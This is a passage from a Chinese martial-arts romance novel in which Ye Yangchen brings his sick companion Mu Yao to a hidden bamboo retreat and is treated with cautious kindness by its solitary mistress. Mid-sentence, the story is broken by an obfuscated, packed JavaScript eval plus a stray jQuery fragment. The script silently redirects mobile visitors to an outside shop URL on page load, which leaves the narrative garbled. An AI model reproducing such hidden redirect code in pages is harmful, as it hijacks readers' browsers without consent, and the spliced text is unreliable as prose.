叶阳晨这才循着声音望去,不知什么时候,堂屋前已站着一位妙龄女子,她身上还背着一个精致小竹篓。叶阳晨仔细打量,女子肤色白皙亮眼,双眸清波婉转。她身着一袭绿色薄纱“石榴裙”,裙子中浅绿、嫩绿、翠绿的纱绸相间,趁得她温静如兰。女孩的乌发没有盘起,只用青绿色的丝带束着,而她头顶上插着的绿玉簪子更是完美凸显出清雅高华的气质。
叶阳晨微微躬身:“姑娘莫怪,实在是冒昧打扰了。只因遇到难处,这才冒然前来。”
刚刚女孩并没有看清叶阳晨的脸,这会儿细细端详,被叶阳晨的英拔神采微微拨动了心弦,甚至不由得想到一句话“君子如珩,羽衣昱耀”。
女子依旧神色清淡,“你们怎么进来这里的?”话里听不出喜怒,但总归不太热情。
“算是误打误撞吧。”
女子的眼眸中有些波动,“我这个地方,即使是江湖高手想进来也是不容易的,你又怎么可能误闯进来?”
叶阳晨也觉得这个谎话编得不太高明,毕竟他是破了“卍”字阵和竹迷宫才进到这里来的,可被女孩这么一问,叶阳晨一时又不知怎么自圆其说。
见叶阳晨沉默,绿衣女子便没有再揪着这一点追问,转而柔声问道:“你背着的女孩是你什么人?”
这个问题也一时难住了叶阳晨,他很想理直气壮说背着的是自己的妻子,或者至少说是自己的爱人,可令他犯难的是,不知这样说是否真符合慕瑶的意愿。慕瑶现在生病昏迷着,如果她醒来不喜欢自己这么对外人讲那可怎么办?纠结之下,叶阳晨只好说道:“她是我表妹。”
说这句话时,叶阳晨不太敢直视面前的女孩,倒不是全因为自己说了谎话,不知为什么,他对这个绿衣女子总是含着几分畏敬。叶阳晨与这个女子说话时,总会感觉她清冷中带着一抹温和,柔善中又夹杂着几分孤傲,令人不敢有一丝一毫的轻慢。
见慕瑶昏迷着,绿衣女子追问着:“你刚刚说的难处就是指的你妹妹?”
“是的,她病了。”
“你为何会带着妹妹来这深山密林之中?”
叶阳晨也不擅长说谎,想到这次慕瑶为拒婚出家,他直接说道:“家里给我表妹说了人家,她不满意这桩婚事,故而求我这个哥哥带她出来避一避。”
叶阳晨心里有些忐忑,心想这女子的问题怎么这么多,如果她再问下去,他还真招架不住。
绿衣女孩并非对两人的身世背景感兴趣,也不喜欢八卦别人的私事,只是叶阳晨他们能闯过自己设置的迷阵,就证明这两人不是等闲之辈。她怕叶阳晨是歹人,或是来这里有其他不可告人的目的,这样的想法下,她总要多盘问几句的,也总要多一点防备心的。
两人短暂沉默后,绿衣女子语气淡淡道:“罢了,你背着妹妹先进来吧!”
“诶!”叶阳晨欢喜答应着。
走进客厅,叶阳晨打量着屋里的陈设和装饰,屋内四周的墙壁上无不挂着画有竹子的画,有墨竹,有绿竹,姿态各异,皆有流畅之美。
最引人注意的,还是屋子的中堂挂着一幅人物画像,画中是一位相貌端秀的女子。虽然这画是画在竹简上的,但仍惟妙惟肖。
屋内的博古架上都是用竹子编的小摆件,鸟儿、蝴蝶、蜻蜓,还有小兔子,小老虎,置身其中,令人感觉来到竹子装点的世界。这大概是叶阳晨见过的最特别,最与众不同的厅堂了。
穿过厅堂,三人来到后院一间偏屋,屋内陈设简单,但依旧处处透着雅致。
绿衣女子说道:“你把妹妹放在床上吧!就让她先住在这里。”
叶阳晨照做,他正要说话,绿衣女子已搬了一把竹椅,坐在了慕瑶的身侧,然后不由分说地摸着慕瑶右手的脉搏。
叶阳晨有点不耐烦,在一旁偷偷翻着白眼,因为摸脉的事他自己就能做,他主要是想让这位姑娘给些草药,他熬好后喂给慕瑶喝。
叶阳晨几次都想打断女孩,但见女孩摸脉时的表情格外认真,就不好意思说什么。但绿衣姑娘好像知道叶阳晨在想什么似的,边摸着脉,边平静解释着:“你即使担心你妹妹的病情,也不能太心急了。竹海中有瘴气,湿气也重,所以得了病不能以一般的风寒发热来治,我需要确定病症后对症下药,否则会延误你妹妹的病情。”
叶阳晨懂得医理,自然清楚自己刚刚是考虑不周了。他错怪了人家,于是感激道:“谢谢姑娘了。”
绿衣姑娘说话时总是很平淡,既不热情,也不冷漠,更让人看不出她的喜怒。须臾,绿衣姑娘站起身,“你与我过来取些药,然后熬好后喂你妹妹喝下,两到三日她便可痊愈了。”
“好的,谢谢。”说着,叶阳晨跟着这位姑娘走出了房间,然后一同来到一间耳房。一走进去,叶阳晨惊讶,里面有一整面墙的七星斗柜,柜里装满了药材。
见那姑娘熟练地抓着药,叶阳晨还是忍不住问道:“姑娘深通岐黄之术?”
女子并没有回头看叶阳晨,而是仍专心地抓着她的药,同时随口说道:“精通是不敢当的,我只是粗通医理罢了。毕竟我住的这个地方人烟稀少,方圆几百里莫说是郎中,就是一两户住家都没有,遇上个小病不会医怎么行呢?”
叶阳晨随口问道:“敢问姑娘芳名,我也好将来报答一二。”叶阳晨觉得人家女孩毕竟帮了他,他若是连人家叫什么都不知道,那也太说不过去了。
“公子言重了,你们兄妹既然‘误’闯进我家中,也算是缘分了。你妹妹既然病了,我岂有不救之理?至于我的闺名实在不足为道。”
叶阳晨见这女子不愿多说,也便没有强求。他有点好奇这女子到底是谁?又有何经历才会藏在这深山密林中?只是两人初识,交浅言深是不合适的。
少顷,女子温言道:“好了,药抓好了,我这就带你去厨房,你可以为妹妹煎药了。”女孩把药简单包好后递给叶阳晨。
叶阳晨接过药,诚挚感谢着。
两人一前一后出了这间“药房”。
绿衣姑娘给叶阳晨指了指厨房的方向,便要转身离开,走了两步,她又回过头说道:“对了,我忘了说了,我的家从来就没有留宿过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281049|125447||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
男子,所以你熬完药喂了妹妹吃过后,就只能退出二门以外。夜里无论发生什么事,你都不能进第二道院门。”
“好的。”叶阳晨答应得很痛快,语气中没有任何犹豫,这反倒让女孩微微一怔。
叶阳晨不难理解女孩的想法,这个翠烟阁里连个丫鬟都没见到,想必只有这个女子一人居于此处,女孩当然更不希望有陌生男子留宿自己家中。
当然了,叶阳晨也确实不在意这些细节的,毕竟从前在泽清山,夏夜里他也经常睡在外边,树上、屋顶、水边都是他喜欢睡的地方,有时还有清扬跟他作伴。叶阳晨喜欢亲近大自然,喜欢待在户外。而且叶阳晨此时最关注的是慕瑶身体能否尽快康复,至于其他事在他眼里都是微不足道的。
女子连个“再见”都没有说,就盈盈莲步地走开了。女孩寂寥的背影,总会让人生出一抹心疼和怜悯的感觉。
那天,直到叶阳晨喂慕瑶喝下药,慕瑶都是半昏迷的状态。
本来早上从山洞出发的时候,慕瑶已经不发热了,可是到了傍晚又有了点反复,好在只是低烧,脉象也比较平稳,叶阳晨稍稍放心了点。
天刚刚黑下来,叶阳晨就退出了这座竹园的内宅,只在一门和二门之间的外院处躺着。当叶阳晨走出去轻轻掩上二门的时候,绿衣女子是看在眼里的,她对叶阳晨这种讲规矩重信诺的君子行为颇有几分欣赏。
竹园的夜晚静寂无声,在这个世外桃源一般的地方,叶阳晨的心也得到一份难得的安宁。他枕着自己的胳膊,望着头顶的星空,它是那般黑蓝深邃,看着看着,叶阳晨睡着了。
也不知睡了多久,雨点打在叶阳晨的脸上,他惊着醒来。叶阳晨有点懒得动弹,只是迟疑了片刻,雨点便密密斜斜地落下来,他不得不起身挪了个地方。这个院子里并没有可以避雨的地方,只有大门的门下还可以少淋一些雨。
叶阳晨走过去,靠坐在翠烟阁的大门门下,双膝蜷缩起来,准备继续睡。他这样看上去有些狼狈,只是他觉得无所谓。内心精神世界强大的人,往往对物质方面的享受就不那么在意了,叶阳晨就是这样的人。所以饶是淋着雨,他依然也能睡得安然,颇有点“夜阑卧听风吹雨”的味道。
叶阳晨感觉自己刚睡着,就有人拍了拍自己的臂膀,他还以为自己是在做梦,索性换了个姿势继续睡。可仅过了片刻,叶阳晨仍感觉有人扯动着自己的衣服。叶阳晨这才不情愿地迷迷糊糊睁开眼,见白天那个身穿绿衣的女子打着竹骨绸伞站在自己身前。他一惊,连忙坐直了身子,“姑娘,怎么是你?慕瑶……呃,是不是我妹妹有什么事?”这么大的雨天,这个女主人出来找自己,叶阳晨的第一反应就是慕瑶出事了。
绿意女孩忙不迭摆了摆手,“你别担心,我刚替你去看过她,你妹妹没有什么事的,她的烧已经退了。”
叶阳晨长舒一口气,随之不解道:“那姑娘...你出来是寻我有什么其他事吗?”
绿衣女孩扭过半边脸去,抿了抿唇,才嗫嚅着说道:“今晚的雨实在太大了些,你还是...随我进来吧?”